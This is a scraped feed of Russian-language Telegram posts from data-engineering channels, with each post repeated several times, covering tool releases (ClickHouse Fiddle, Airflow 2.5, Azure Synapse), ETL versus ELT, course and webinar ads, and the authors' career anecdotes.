Чтобы поиграть с БД ClickHouse отныне её не нужно устанавливать себе, появился официальный ClickHouse FiddleДока про сам проект: https://clickhouse.com/blog/clickhouse-fiddle-sql-playground
Чтобы поиграть с БД ClickHouse отныне её не нужно устанавливать себе, появился официальный ClickHouse FiddleДока про сам проект: https://clickhouse.com/blog/clickhouse-fiddle-sql-playground

Чтобы поиграть с БД ClickHouse отныне её не нужно устанавливать себе, появился официальный ClickHouse FiddleДока про сам проект: https://clickhouse.com/blog/clickhouse-fiddle-sql-playground

1 week, 5 days назад @ t.me
📊 Сможешь ли ты стать дата-инженером? 📌 Пройди тест и узнай — https://otus.pw/Rwxh/💻 Ответьте на 20 вопросов и проверьте, готовы к обучению на онлайн-курсе «Data Engineer» в OTUS. Дата-инжиниринг — новый уровень для разработчиков и админов СУБД.✅ На курсе
📊 Сможешь ли ты стать дата-инженером? 📌 Пройди тест и узнай — https://otus.pw/Rwxh/💻 Ответьте на 20 вопросов и проверьте, готовы к обучению на онлайн-курсе «Data Engineer» в OTUS. Дата-инжиниринг — новый уровень для разработчиков и админов СУБД.✅ На курсе 📊 Сможешь ли ты стать дата-инженером? 📌 Пройди тест и узнай — https://otus.pw/Rwxh/💻 Ответьте на 20 вопросов и проверьте, готовы к обучению на онлайн-курсе «Data Engineer» в OTUS. Дата-инжиниринг — новый уровень для разработчиков и админов СУБД.✅ На курсе

📊 Сможешь ли ты стать дата-инженером? 📌 Пройди тест и узнай — https://otus.pw/Rwxh/💻 Ответьте на 20 вопросов и проверьте, готовы к обучению на онлайн-курсе «Data Engineer» в OTUS. Дата-инжиниринг — новый уровень для разработчиков и админов СУБД.✅ На курсе вас ждет:✔️ Живые вебинары с опытными практиками✔️ Решение прикладных задач и создание своего продукта✔️ Real Case Studies: примеры внедрений, использования инструментов, оптимизации и разбор ошибок✔️ Во время обучения вы освоите работу с Architecture, Data Lake, DWH, MLOps и сможете самостоятельно решать задачи в сфере Big Data.🔥 Пройдете тест — получите демо-ролик о занятиях на курсе, Welcome-скидку и доступ к открытым урокам:👉 Elasticse…

2 weeks, 3 days назад @ t.me
Вышло новое издание знаменитой книги про распределенные системы: Distributed Systems 4th EditionЭлектронную версию книги можно бесплатно скачать на сайте по ссылке выше.3-е бумажное издание этой книги лежит у меня на полке, но, к сожалению, я постоянно отк
Вышло новое издание знаменитой книги про распределенные системы: Distributed Systems 4th EditionЭлектронную версию книги можно бесплатно скачать на сайте по ссылке выше.3-е бумажное издание этой книги лежит у меня на полке, но, к сожалению, я постоянно отк

Вышло новое издание знаменитой книги про распределенные системы: Distributed Systems 4th EditionЭлектронную версию книги можно бесплатно скачать на сайте по ссылке выше.3-е бумажное издание этой книги лежит у меня на полке, но, к сожалению, я постоянно откладываю её прочтение (читал отрывками). Надеюсь в 2023 году доберусь до неё 🤞

2 weeks, 6 days назад @ t.me
Если ИТ – это ваш конек, то Тинькофф ждет вас 23 января на катке в московском Парке Горького! Ледовый ИТ-квест, нетворкинг, дискуссии со спикерами в теплом шатре и многое другое. Вечер точно будет насыщенным и приятным. За коньки не беспокойтесь — их выдад
Если ИТ – это ваш конек, то Тинькофф ждет вас 23 января на катке в московском Парке Горького! Ледовый ИТ-квест, нетворкинг, дискуссии со спикерами в теплом шатре и многое другое. Вечер точно будет насыщенным и приятным. За коньки не беспокойтесь — их выдад Если ИТ – это ваш конек, то Тинькофф ждет вас 23 января на катке в московском Парке Горького! Ледовый ИТ-квест, нетворкинг, дискуссии со спикерами в теплом шатре и многое другое. Вечер точно будет насыщенным и приятным. За коньки не беспокойтесь — их выдад

Если ИТ – это ваш конек, то Тинькофф ждет вас 23 января на катке в московском Парке Горького! Ледовый ИТ-квест, нетворкинг, дискуссии со спикерами в теплом шатре и многое другое. Вечер точно будет насыщенным и приятным. За коньки не беспокойтесь — их выдадут бесплатно. Не медлите, регистрируйтесь сами и зовите коллег — будет весело!

3 weeks, 4 days назад @ t.me
Отличная новость для тех, кто использует Managed Airflow в Amazon Web Services: https://aws.amazon.com/ru/about-aws/whats-new/2023/01/amazon-mwaa-supports-apache-airflow-version-2-4-python-3-10/
Отличная новость для тех, кто использует Managed Airflow в Amazon Web Services: https://aws.amazon.com/ru/about-aws/whats-new/2023/01/amazon-mwaa-supports-apache-airflow-version-2-4-python-3-10/

Отличная новость для тех, кто использует Managed Airflow в Amazon Web Services: https://aws.amazon.com/ru/about-aws/whats-new/2023/01/amazon-mwaa-supports-apache-airflow-version-2-4-python-3-10/

4 weeks, 1 day назад @ t.me
На Хабре вышла статья о разных способах развёртывания Apache Superset (Docker, ВМ, Kubernetes). Автор рассказал обо всех плюсах и минусах и поделился подробной инструкцией на примере облака VK Cloud. Это очень актуально, учитывая вставшую перед компаниями
На Хабре вышла статья о разных способах развёртывания Apache Superset (Docker, ВМ, Kubernetes). Автор рассказал обо всех плюсах и минусах и поделился подробной инструкцией на примере облака VK Cloud. Это очень актуально, учитывая вставшую перед компаниями На Хабре вышла статья о разных способах развёртывания Apache Superset (Docker, ВМ, Kubernetes). Автор рассказал обо всех плюсах и минусах и поделился подробной инструкцией на примере облака VK Cloud. Это очень актуально, учитывая вставшую перед компаниями

На Хабре вышла статья о разных способах развёртывания Apache Superset (Docker, ВМ, Kubernetes). Автор рассказал обо всех плюсах и минусах и поделился подробной инструкцией на примере облака VK Cloud. Это очень актуально, учитывая вставшую перед компаниями задачу по полному перестраиванию системы бизнес-аналитики. В современных реалиях развитие BI-решений российских вендоров осуществляются максимально быстро и качественно. У них есть лицензионная поддержка, регулярные обновления и возможность влиять на roadmap.Читать

1 month назад @ t.me
Как прокачаться DevOps-инженеруПопулярность облачных технологий растёт, а значит повышается спрос на DevOps-инженеров. Но даже опытному специалисту бывает непросто разобраться в специфике провайдера.Yandex Cloud решила помочь индустрии и подготовила серию
Как прокачаться DevOps-инженеруПопулярность облачных технологий растёт, а значит повышается спрос на DevOps-инженеров. Но даже опытному специалисту бывает непросто разобраться в специфике провайдера.Yandex Cloud решила помочь индустрии и подготовила серию Как прокачаться DevOps-инженеруПопулярность облачных технологий растёт, а значит повышается спрос на DevOps-инженеров. Но даже опытному специалисту бывает непросто разобраться в специфике провайдера.Yandex Cloud решила помочь индустрии и подготовила серию

Как прокачаться DevOps-инженеруПопулярность облачных технологий растёт, а значит повышается спрос на DevOps-инженеров. Но даже опытному специалисту бывает непросто разобраться в специфике провайдера.Yandex Cloud решила помочь индустрии и подготовила серию курсов для DevOps-инженеров. Они помогут изучить все этапы подготовки облачной инфраструктуры и построения CI/CD-процесса для контейнерного приложения — от создания среды разработки до продакшна.Как всё устроено: курсы построены по принципу case-study — вы погрузитесь в реальную задачу бизнеса и шаг за шагом придёте к её решению.Кому подойдёт: специалистам middle- и senior-уровня.Сколько стоит: все курсы можно проходить бесплатно. Кроме то…

1 month назад @ t.me
У ребят из Airbyte вышла интересная подборка самых популярных рассылок по теме данных: http://bit.ly/3FncX1LЯ же подписан на Seattle Data Guy, Benn Stancil и Data Engineering Weekly. От себя добавлю, что вашего внимания также заслуживает SF Data Weekly: ht
У ребят из Airbyte вышла интересная подборка самых популярных рассылок по теме данных: http://bit.ly/3FncX1LЯ же подписан на Seattle Data Guy, Benn Stancil и Data Engineering Weekly. От себя добавлю, что вашего внимания также заслуживает SF Data Weekly: ht

У ребят из Airbyte вышла интересная подборка самых популярных рассылок по теме данных: http://bit.ly/3FncX1LЯ же подписан на Seattle Data Guy, Benn Stancil и Data Engineering Weekly. От себя добавлю, что вашего внимания также заслуживает SF Data Weekly: http://weekly.sfdata.io/

2 months назад @ t.me
На главной странице HackerNews нашел ссылку на бесплатный курс по основам Natural Language Processing (NLP) - Natural Language ProcessingDemystified. Эта тема меня давно интересует, но я никак не могу выделить время, чтобы основательно погрузиться туда. Ку
На главной странице HackerNews нашел ссылку на бесплатный курс по основам Natural Language Processing (NLP) - Natural Language ProcessingDemystified. Эта тема меня давно интересует, но я никак не могу выделить время, чтобы основательно погрузиться туда. Ку

На главной странице HackerNews нашел ссылку на бесплатный курс по основам Natural Language Processing (NLP) - Natural Language ProcessingDemystified. Эта тема меня давно интересует, но я никак не могу выделить время, чтобы основательно погрузиться туда. Курс состоит из серии видео роликов на YouTube.Ссылка на тред с обсуждение на HN.

2 months назад @ t.me
Релиз Apache Airflow 2.5.0 🎉Вчера вечером вышла новая версия Apache Airflow - 2.5. В последнее время меня удивляет с какой скоростью выходят обновления у этого инструмента.Полный список новых фич смотрите тут.Из примечательного на мой взгляд:— Возможность
Релиз Apache Airflow 2.5.0 🎉Вчера вечером вышла новая версия Apache Airflow - 2.5. В последнее время меня удивляет с какой скоростью выходят обновления у этого инструмента.Полный список новых фич смотрите тут.Из примечательного на мой взгляд:— Возможность

Релиз Apache Airflow 2.5.0 🎉Вчера вечером вышла новая версия Apache Airflow - 2.5. В последнее время меня удивляет с какой скоростью выходят обновления у этого инструмента.Полный список новых фич смотрите тут.Из примечательного на мой взгляд:— Возможность очистить через UI всю таск группу (TaskGroup) для перезапуска всех операторов внутри.— Декоратор-сенсор (task.sensor). Теперь легко можно превратить функцию в сенсор.— Поиск по датасетам— Автообновление логов в UI. Отныне можно забыть про F5 в разделе логов 😎

2 months назад @ t.me
В шведском городе Мальмё недавно прошла интересная IT-конференция Øredev 2022. В плейлисте нашел доклады про data engineering:- The 7 habits of data effective companies- Five Sins of Data Observability- Data Mesh: Data Analytics for Engineer- Democratize y
В шведском городе Мальмё недавно прошла интересная IT-конференция Øredev 2022. В плейлисте нашел доклады про data engineering:- The 7 habits of data effective companies- Five Sins of Data Observability- Data Mesh: Data Analytics for Engineer- Democratize y

В шведском городе Мальмё недавно прошла интересная IT-конференция Øredev 2022. В плейлисте нашел доклады про data engineering:- The 7 habits of data effective companies- Five Sins of Data Observability- Data Mesh: Data Analytics for Engineer- Democratize your data with Analytics Engineering- Data engineering in 10 yearsПолный список можно глянуть по ссылке.

2 months назад @ t.me
Как использовать легковесные кластеры Apache Spark для гибкого управления ресурсами?1 декабря мы расскажем о возможностях сервиса Yandex Data Proc, где вы можете развернуть кластеры Apache Spark. Узнайте, как одновременно достичь высокой производительности
Как использовать легковесные кластеры Apache Spark для гибкого управления ресурсами?1 декабря мы расскажем о возможностях сервиса Yandex Data Proc, где вы можете развернуть кластеры Apache Spark. Узнайте, как одновременно достичь высокой производительности Как использовать легковесные кластеры Apache Spark для гибкого управления ресурсами?1 декабря мы расскажем о возможностях сервиса Yandex Data Proc, где вы можете развернуть кластеры Apache Spark. Узнайте, как одновременно достичь высокой производительности

Как использовать легковесные кластеры Apache Spark для гибкого управления ресурсами?1 декабря мы расскажем о возможностях сервиса Yandex Data Proc, где вы можете развернуть кластеры Apache Spark. Узнайте, как одновременно достичь высокой производительности в пиковые периоды и экономить затраты во время простоя.Также мы покажем, как организовать хранение данных в S3 и преобразовывать их с помощью SQL-запросов. Поделимся планами и направлениями развития сервиса.Участие бесплатное.➡️ Регистрируйтесь на вебинар

2 months, 1 week назад @ t.me
🔥 Как применять подход векторного представления слов в NLP?🗓 Расскажем 1 декабря в 18:00 мск на открытом уроке «Как применять подход векторного представления слов в NLP» 💻 На занятии вы познакомитесь с преподавателем Марией Тихоновой, специалистом по анали
🔥 Как применять подход векторного представления слов в NLP?🗓 Расскажем 1 декабря в 18:00 мск на открытом уроке «Как применять подход векторного представления слов в NLP» 💻 На занятии вы познакомитесь с преподавателем Марией Тихоновой, специалистом по анали 🔥 Как применять подход векторного представления слов в NLP?🗓 Расскажем 1 декабря в 18:00 мск на открытом уроке «Как применять подход векторного представления слов в NLP» 💻 На занятии вы познакомитесь с преподавателем Марией Тихоновой, специалистом по анали

🔥 Как применять подход векторного представления слов в NLP?🗓 Расскажем 1 декабря в 18:00 мск на открытом уроке «Как применять подход векторного представления слов в NLP» 💻 На занятии вы познакомитесь с преподавателем Марией Тихоновой, специалистом по анализу данных в команде AGI NLP в SberDevices.💣 По итогам занятия вы:️✔️ Узнаете технику векторных представлений слов (word embedding)✔️ Изучите несколько классических методов векторных представлений слов.✔️ Научитесь применять методы word embedding для решения прикладных NLP-задач📊 Занятие проходит в рамках курса «Natural Language Processing (NLP)». Курс предназначен для DS/ML-специалистов, которые хотят углубить знания в области NLP.✅ Регист…

2 months, 1 week назад @ t.me
Инжиниринг Данных Инжиниринг Данных
последний пост 14 часов назад
📌 Онлайн-дискуссия «Вместе в облако. Мониторинг облачных приложений». Присоединяйтесь к экспертам VK Cloud ⏰ Когда: 7 февраля, 17:00 MSK📍РегистрацияВ процессе мониторинга не всегда получается отследить, что происходит с локальным монолитом, и вовремя среаг
📌 Онлайн-дискуссия «Вместе в облако. Мониторинг облачных приложений». Присоединяйтесь к экспертам VK Cloud ⏰ Когда: 7 февраля, 17:00 MSK📍РегистрацияВ процессе мониторинга не всегда получается отследить, что происходит с локальным монолитом, и вовремя среаг 📌 Онлайн-дискуссия «Вместе в облако. Мониторинг облачных приложений». Присоединяйтесь к экспертам VK Cloud ⏰ Когда: 7 февраля, 17:00 MSK📍РегистрацияВ процессе мониторинга не всегда получается отследить, что происходит с локальным монолитом, и вовремя среаг

📌 Онлайн-дискуссия «Вместе в облако. Мониторинг облачных приложений». Присоединяйтесь к экспертам VK Cloud ⏰ Когда: 7 февраля, 17:00 MSK📍РегистрацияВ процессе мониторинга не всегда получается отследить, что происходит с локальным монолитом, и вовремя среагировать. Стандартная микросервисная архитектура частично работает на PaaS, частично на партнерских инструментах. И главная сложность – определить, как все составляющие влияют друг на друга и где реально возникла проблема. В программе:🔸 Философия мониторинга и Observability.🔸 Что сейчас модно, а что действительно работает.🔸 Роль машинного обучения сегодня и попробуем заглянуть в будущее. 🔸 Q&A-сессия со спикерами.Спикеры:▪️ Илья Петропавлов…

14 часов назад @ t.me
Вот так выглядит мой выходной. Пока дети в Русской школе, где учиться писать, читать, математику, история, танцуют, поют и играют на балалайке, я могу в библиотеке:- почитать про Linux, очень хорошая книга, добавлю потом видео урок про shell и командную ст
Вот так выглядит мой выходной. Пока дети в Русской школе, где учиться писать, читать, математику, история, танцуют, поют и играют на балалайке, я могу в библиотеке:- почитать про Linux, очень хорошая книга, добавлю потом видео урок про shell и командную ст Вот так выглядит мой выходной. Пока дети в Русской школе, где учиться писать, читать, математику, история, танцуют, поют и играют на балалайке, я могу в библиотеке:- почитать про Linux, очень хорошая книга, добавлю потом видео урок про shell и командную ст

Вот так выглядит мой выходной. Пока дети в Русской школе, где учиться писать, читать, математику, история, танцуют, поют и играют на балалайке, я могу в библиотеке:- почитать про Linux, очень хорошая книга, добавлю потом видео урок про shell и командную строку- поделать учебный проект на django - закончить углубленные тренинги по Azure Synapse- пофиксить косяки в Glue/Spark- Начать изучать kinesis stream для snowplow/posthog - создать новый pipeline из Stripe в озеро Athena- переделать логику расчета показателей в dbt/snowflake - написать документацию по метрикам в AlationУ меня еще есть термос с Аргентинским чаем мате, я же готовлюсь к Аргентине 🧉 А мог бы просто на велосипеде покататься, …

16 часов назад @ t.me
Сегодня был вопрос в команда, кто будет делать screen share, чтобы пройтись по Scrum board, issues and so on. Все тупо молчали. Обычно я всегда сам это делаю. Потому что, всегда вспоминаю фразу из 1984 - ""Соблюдая маленькие правила, можно нарушать большие
Сегодня был вопрос в команда, кто будет делать screen share, чтобы пройтись по Scrum board, issues and so on. Все тупо молчали. Обычно я всегда сам это делаю. Потому что, всегда вспоминаю фразу из 1984 - ""Соблюдая маленькие правила, можно нарушать большие

Сегодня был вопрос в команда, кто будет делать screen share, чтобы пройтись по Scrum board, issues and so on. Все тупо молчали. Обычно я всегда сам это делаю. Потому что, всегда вспоминаю фразу из 1984 - ""Соблюдая маленькие правила, можно нарушать большие"🦥Но сегодня был небольшой собес с СТО и СОО в стартапчике, поэтому надо было отлучиться. И я нашел решение - https://wheelofnames.us/ - веселый сервис с колесом фортуны. Ну как нашел, подсмотрел в другой команда)) Так что после объявления победителя нашего казино, я спокойно свалил с митинга.По собесу СТО меня спросил:1) Что нового было в Python и Spark? Что в Snowflake?2) Минусы Python3) Что такое Index в БД и как работает4) Как объяснит…

1 day, 12 hours назад @ t.me
ETL vs. ELTИнтересный момент касательно ETL/ELT процесса, который с одной стороны очевиден, а с другой стороны - не задумываешься о разнице до поры до времени. Так вот, чем отличается ETL от ELT? Самый очевидный ответ - порядком выполнения степов Extract,
ETL vs. ELTИнтересный момент касательно ETL/ELT процесса, который с одной стороны очевиден, а с другой стороны - не задумываешься о разнице до поры до времени. Так вот, чем отличается ETL от ELT? Самый очевидный ответ - порядком выполнения степов Extract,

ETL vs. ELTИнтересный момент касательно ETL/ELT процесса, который с одной стороны очевиден, а с другой стороны - не задумываешься о разнице до поры до времени. Так вот, чем отличается ETL от ELT? Самый очевидный ответ - порядком выполнения степов Extract, Transform, Load. Да, но когда применять ETL, а когда - ELT?Исторически ETL использовался в концепциях обработки данных для DWH. Была и до сих пор остаётся куча тулов, таких, как Informatica, Talend, Pentaho и т.д., которые являются ETL инструментами: загружаем данные из сорсов на машину/сервер с тулом, применяем трансформации, выгружаем в наше хранилище данных. Да, такой подход работает, когда мы говорим об обработке небольшого объёма данн…

2 days, 14 hours назад @ t.me
Вот поэтому я всегда говорю - забудьте про джуна и будет вам счастье! В начале data learn один в один советы!
Вот поэтому я всегда говорю - забудьте про джуна и будет вам счастье! В начале data learn один в один советы!

Вот поэтому я всегда говорю - забудьте про джуна и будет вам счастье! В начале data learn один в один советы!

2 days, 18 hours назад @ t.me
В понедельник уволили моего хорошего китайского товарища (кто в чате datalearn, то это он на английском поздравлял вас с новым годом и говорил I love Russia), которого я привел, к сожалению он был data scientist, но ему пришлось работать инженером данных,
В понедельник уволили моего хорошего китайского товарища (кто в чате datalearn, то это он на английском поздравлял вас с новым годом и говорил I love Russia), которого я привел, к сожалению он был data scientist, но ему пришлось работать инженером данных,

В понедельник уволили моего хорошего китайского товарища (кто в чате datalearn, то это он на английском поздравлял вас с новым годом и говорил I love Russia), которого я привел, к сожалению он был data scientist, но ему пришлось работать инженером данных, и понятно дело он не очень понимал как это все происходит, в декабре его посадили на performance improvement и в понедельник уволили. Конечно это косяк менеджера в первую очередь, потому что он взял чувака с Phd по экономике и давал ему задачки ковыряться в чужом SQL (technical debt💩). Когда товарища взяли к нам на работу он мне подарил norinco 97🫣А вчера Sr. Analytics Engineer, сам уволился, сказал - ВСЕ С МЕНЯ ХВАТИТ. Сказал вечером, и у…

3 days, 6 hours назад @ t.me
Лично знаком с товарищем, в 2016 году он бы BI инженером и я всегда следил за его карьерой и часто примерял его успехи на себе из разряда "А что если бы я сразу конвертнулся бы в менеджера и уже был бы Sr Manager", но решил не лезть в менеджеры и сейчас по
Лично знаком с товарищем, в 2016 году он бы BI инженером и я всегда следил за его карьерой и часто примерял его успехи на себе из разряда "А что если бы я сразу конвертнулся бы в менеджера и уже был бы Sr Manager", но решил не лезть в менеджеры и сейчас по Лично знаком с товарищем, в 2016 году он бы BI инженером и я всегда следил за его карьерой и часто примерял его успехи на себе из разряда "А что если бы я сразу конвертнулся бы в менеджера и уже был бы Sr Manager", но решил не лезть в менеджеры и сейчас по

Лично знаком с товарищем, в 2016 году он бы BI инженером и я всегда следил за его карьерой и часто примерял его успехи на себе из разряда "А что если бы я сразу конвертнулся бы в менеджера и уже был бы Sr Manager", но решил не лезть в менеджеры и сейчас пожинаю плоды своего инженерного пути. Получается таже история, когда ехал в Канаду, знал, что надо быть инженером и никогда не хотел быть менеджером в Москве, чтобы быстро найти работу за границей. И сейчас думаю, инженерам проще найти работу. Но возможно у менеджеров есть один +, им разрешат купить лосьен и сделать claim expenses😎 Кстати в Сиэтле была моя команда из Барселоны, какой же это кайф работать с Европейцами, после Канадцев и скор…

3 days, 22 hours назад @ t.me
Даниил поблагодарил за datalearn и community да и вообще поделился с вами как чего и почему нужно учить SQL:В колледже учился по специальности администратор БД. Так случайно получилось) По факту администрированию не учили, но учили писать код на SQL. Был о
Даниил поблагодарил за datalearn и community да и вообще поделился с вами как чего и почему нужно учить SQL:В колледже учился по специальности администратор БД. Так случайно получилось) По факту администрированию не учили, но учили писать код на SQL. Был о

Даниил поблагодарил за datalearn и community да и вообще поделился с вами как чего и почему нужно учить SQL:В колледже учился по специальности администратор БД. Так случайно получилось) По факту администрированию не учили, но учили писать код на SQL. Был очень хороший преподаватель, с которым до сих пор общаюсь. Да и тема данных мне понравилась, так как она универсальна и очень интересна: может пригодиться как в бизнесе, так и в научной среде. Был еще веселый преподаватель, который говорил что дата саенс это самая лучшая профессия 21 века) Но меня не очень в математику тянуло, больше нравилось что-то инженерное делать.Увлекался звукорежиссурой, записывал друзей, сводил, мастерил + кастомизи…

4 days, 5 hours назад @ t.me
Умеют люди в бухгалтерии настроение поднимать. Ездил в Сиэтл на недельку, как обычно все чеки в кучку и claim expenses. Набралось на 2.5 тысячи. У меня опыт большой работы в корпорации и мне всегда интересно "на авось" чеки подсовывать на разные суммы, так
Умеют люди в бухгалтерии настроение поднимать. Ездил в Сиэтл на недельку, как обычно все чеки в кучку и claim expenses. Набралось на 2.5 тысячи. У меня опыт большой работы в корпорации и мне всегда интересно "на авось" чеки подсовывать на разные суммы, так

Умеют люди в бухгалтерии настроение поднимать. Ездил в Сиэтл на недельку, как обычно все чеки в кучку и claim expenses. Набралось на 2.5 тысячи. У меня опыт большой работы в корпорации и мне всегда интересно "на авось" чеки подсовывать на разные суммы, так как в 99% работает. В Амазоне, я покупал каждую неделю по книге O'Reilly, в течение нескольких месяцев и собрал хорошую коллекцию. Когда жил в Бостоне несколько месяцев, в день на еду тратил 250$ вместо 50$, и оказывается Амазон внедрил AI для проверки expenses и ему было вообще все равно. Так что не все AI плохие, есть и хорошие🍍Но сегодня, я встретил самого внимательного бухгалтера, который написал мне:Kindly amend the amount on this an…

4 days, 9 hours назад @ t.me
Если вы только начинаете работать с Microsoft Azure, то вот вам отличная подборка про продукты Azure для аналитики:Основной продукт это Synapse Analytics, внутри вы найдете все основные сервисы:- Serverless SQL (аналог Amazon Athena)- Dedicated SQL Pool (M
Если вы только начинаете работать с Microsoft Azure, то вот вам отличная подборка про продукты Azure для аналитики:Основной продукт это Synapse Analytics, внутри вы найдете все основные сервисы:- Serverless SQL (аналог Amazon Athena)- Dedicated SQL Pool (M

Если вы только начинаете работать с Microsoft Azure, то вот вам отличная подборка про продукты Azure для аналитики:Основной продукт это Synapse Analytics, внутри вы найдете все основные сервисы:- Serverless SQL (аналог Amazon Athena)- Dedicated SQL Pool (MPP SQL хранилище данных, аналог Redshift)- Azure Data Explorer (возможно ближайший это ElasticSearch и Splunk)- Power BI- Spark Pool (аналог databricks) и замена Azure Databricks - Synapse ML notebooks (аналог Spark MLlib) и как замена Azure ML- Azure DevOps (аналог GitHub, Gitlab)- Azure Data Factory (аналог Airflow, выполняет задачи оркестратора, есть UI или код)Вот вводные видео:Synapse Serverless и Synapse Dedicated:🛵Synapse Espresso: …

5 days, 4 hours назад @ t.me
Хотите понять, как проводить A/B-тесты и интерпретировать их результаты? Тогда не пропустите бесплатный вебинар по предиктивной аналитике от MyTracker.На вебинаре мы поговорим о том, что такое A/B-тесты, как их правильно провести, какими метриками и критер
Хотите понять, как проводить A/B-тесты и интерпретировать их результаты? Тогда не пропустите бесплатный вебинар по предиктивной аналитике от MyTracker.На вебинаре мы поговорим о том, что такое A/B-тесты, как их правильно провести, какими метриками и критер Хотите понять, как проводить A/B-тесты и интерпретировать их результаты? Тогда не пропустите бесплатный вебинар по предиктивной аналитике от MyTracker.На вебинаре мы поговорим о том, что такое A/B-тесты, как их правильно провести, какими метриками и критер

Хотите понять, как проводить A/B-тесты и интерпретировать их результаты? Тогда не пропустите бесплатный вебинар по предиктивной аналитике от MyTracker.На вебинаре мы поговорим о том, что такое A/B-тесты, как их правильно провести, какими метриками и критериями оценивать результаты и многое другое. Дополнительно мы будем моделировать разные сценарии А/Б-тестов с помощью jupyter notebook и оценивать статистическую значимость результатов.Вебинар проведёт Александр Смирнов, программист-исследователь команды предиктивной аналитики MyTracker.https://vk.cc/cl2ezL#реклама

5 days, 17 hours назад @ t.me
Автор резюме утверждает, что его резюме понравилось в Microsoft, Google, Amazon. Кто-то решил его детально проработать и выделить основные ключевые моменты:Розовым - Action Verbs (глаголы действия) - с них начинают каждый bullet pointЖелтым - hard skills д
Автор резюме утверждает, что его резюме понравилось в Microsoft, Google, Amazon. Кто-то решил его детально проработать и выделить основные ключевые моменты:Розовым - Action Verbs (глаголы действия) - с них начинают каждый bullet pointЖелтым - hard skills д Автор резюме утверждает, что его резюме понравилось в Microsoft, Google, Amazon. Кто-то решил его детально проработать и выделить основные ключевые моменты:Розовым - Action Verbs (глаголы действия) - с них начинают каждый bullet pointЖелтым - hard skills д

Автор резюме утверждает, что его резюме понравилось в Microsoft, Google, Amazon. Кто-то решил его детально проработать и выделить основные ключевые моменты:Розовым - Action Verbs (глаголы действия) - с них начинают каждый bullet pointЖелтым - hard skills для вакансии (ваша специализация)Оранжевый - показатель понимание бизнес и реального опыта в индустрииЗеленый - измеримый результат, самое ценноеГолубой - impact (но в данном пример, какая-то фигня)Фиолетовый - ссылки на портфолиоВот оригинальный пост Кто-то может сказать, так чувак и так в FAANG работал, его и без того позовут. Но на моем опыте, это не сильно влияет на результат. Рекрутеры как правило стараются найти хорошего кандидата, а …

6 days, 7 hours назад @ t.me
Open AI заключили эксклюзивное партнерство с Microsoft.Open AI будет использовать Microsoft Azure для своей инфраструктуры. Основные продукты сейчас это GitHub Copilot, ChatGPT, Dalle2. Так же Open AI развивает направление supercomputers - Microsoft annou
Open AI заключили эксклюзивное партнерство с Microsoft.Open AI будет использовать Microsoft Azure для своей инфраструктуры. Основные продукты сейчас это GitHub Copilot, ChatGPT, Dalle2. Так же Open AI развивает направление supercomputers - Microsoft annou

Open AI заключили эксклюзивное партнерство с Microsoft.Open AI будет использовать Microsoft Azure для своей инфраструктуры. Основные продукты сейчас это GitHub Copilot, ChatGPT, Dalle2. Так же Open AI развивает направление supercomputers - Microsoft announces new supercomputer, lays out vision for future AI work. Ну и конечно Responsible AI, в главе 13 Designing Data Intensive Applications очень здорово написано, почему нужно делать responsible software. PS Вчера мне снова помог ChatGPT. У меня есть CI/CD pipeline для Amazon Glue (Spark), который запускает в docker Glue Image и выполняет PyTest для каждого unit test. После добавления новой логике в код pytest стал падать в CI/CD pipeline. В…

1 week назад @ t.me
Веселые картинки по организации компании без линейного руководителя на русском от Valve https://dtf.ru/u/17943-darkdenis/1578589-ya-prosto-zashel-na-sayt-kompanii-valve
Веселые картинки по организации компании без линейного руководителя на русском от Valve https://dtf.ru/u/17943-darkdenis/1578589-ya-prosto-zashel-na-sayt-kompanii-valve

Веселые картинки по организации компании без линейного руководителя на русском от Valve https://dtf.ru/u/17943-darkdenis/1578589-ya-prosto-zashel-na-sayt-kompanii-valve

1 week, 1 day назад @ t.me
А сколько раз вы можете прочитать непрочитанное письмо? https://youtu.be/FlR_Ztt_FwQ
А сколько раз вы можете прочитать непрочитанное письмо? https://youtu.be/FlR_Ztt_FwQ

А сколько раз вы можете прочитать непрочитанное письмо? https://youtu.be/FlR_Ztt_FwQ

1 week, 5 days назад @ t.me
Left Join Left Join
последний пост 2 days, 2 hours назад
iPhone выпустил команду SiriGPT для Siri 🍏Что будет, если подружить два искусственных интеллекта в вашем смартфоне? Конечно же, обострение паранойи по поводу того, что вас подслушивают!Ну, а если серьезно, то для владельцев iPhone выпустили команду для Sir
iPhone выпустил команду SiriGPT для Siri 🍏Что будет, если подружить два искусственных интеллекта в вашем смартфоне? Конечно же, обострение паранойи по поводу того, что вас подслушивают!Ну, а если серьезно, то для владельцев iPhone выпустили команду для Sir iPhone выпустил команду SiriGPT для Siri 🍏Что будет, если подружить два искусственных интеллекта в вашем смартфоне? Конечно же, обострение паранойи по поводу того, что вас подслушивают!Ну, а если серьезно, то для владельцев iPhone выпустили команду для Sir

iPhone выпустил команду SiriGPT для Siri 🍏Что будет, если подружить два искусственных интеллекта в вашем смартфоне? Конечно же, обострение паранойи по поводу того, что вас подслушивают!Ну, а если серьезно, то для владельцев iPhone выпустили команду для Siri, которая подключается к OpenAI через API и превращает Siri в почти всемогущего виртуального ассистента.Если хотите попробоватьВ этой пошаговой инструкции на русском описаны все необходимые шаги, от создания аккаунта на сайте OpenAI до активации команды. Решать задачи, переводить, искать ответы и болтать с AI теперь гораздо удобнее!

2 days, 2 hours назад @ t.me
Аналитик SQL: профессия прошлого? 😥Мы продолжаем знакомить вас с возможностями GPT-3 и, в частности, тем, как модель может повлиять на рабочий инструментарий аналитиков и инженеров данных в самом ближайшем будущем. Что произошло?Кен ван Харен, сооснователь
Аналитик SQL: профессия прошлого? 😥Мы продолжаем знакомить вас с возможностями GPT-3 и, в частности, тем, как модель может повлиять на рабочий инструментарий аналитиков и инженеров данных в самом ближайшем будущем. Что произошло?Кен ван Харен, сооснователь Аналитик SQL: профессия прошлого? 😥Мы продолжаем знакомить вас с возможностями GPT-3 и, в частности, тем, как модель может повлиять на рабочий инструментарий аналитиков и инженеров данных в самом ближайшем будущем. Что произошло?Кен ван Харен, сооснователь

Аналитик SQL: профессия прошлого? 😥Мы продолжаем знакомить вас с возможностями GPT-3 и, в частности, тем, как модель может повлиять на рабочий инструментарий аналитиков и инженеров данных в самом ближайшем будущем. Что произошло?Кен ван Харен, сооснователь платформы Patterns, решил проверить способности GPT-3, создав бот в Patterns Studio и подключив его к закрытой базе данных Crunchbase. Разработчика еще с прошлой работы беспокоила проблема необходимости тратить свое время на бессистемные мелкие SQL задачи, когда компания спонтанно требует предоставить отчет или уточнить какую-то информацию, отвлекая аналитика от более глобальных и серьезных проблем.И что получилось?Кену удалось, посредств…

3 days, 1 hour назад @ t.me
